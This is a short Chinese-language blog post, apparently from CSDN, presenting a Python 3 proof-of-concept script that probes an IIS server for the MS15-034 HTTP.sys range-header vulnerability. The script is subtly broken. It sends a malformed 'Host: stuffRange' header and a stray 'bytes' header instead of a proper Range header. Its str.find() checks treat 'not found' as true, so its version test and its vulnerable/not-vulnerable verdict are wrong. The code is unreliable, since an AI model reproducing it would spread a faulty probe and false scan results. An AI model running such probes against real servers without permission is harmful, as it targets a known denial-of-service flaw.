ms15_034漏洞poc脚本

ms15_034漏洞poc脚本
环境python3编写的:

# coding=utf-8
import requests
url = "http://192.168.64.129:8001/"
r = requests.get(url)
print(r.headers)
remote_server = r.headers["Server"]
if remote_server.find('IIS/7.5') or remote_server.find('IIS/8.0'):
    payload = {'Host': 'stuffRange', 'bytes': '0-18446744073709551615'}
    r1 = requests.get(url, headers=payload)
    # print(r1.request.headers)
    # print(r1.content)
    if str(r1.content).find("Requested Range Not Satisfiable"):
        print(url + "存在ms15_034漏洞")
    else:
        print(url + "不存在ms15_034漏洞")
else:
    print(url + "不存在ms15_034漏洞")

展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客
应支付0元
点击重新获取
扫码支付

支付成功即可阅读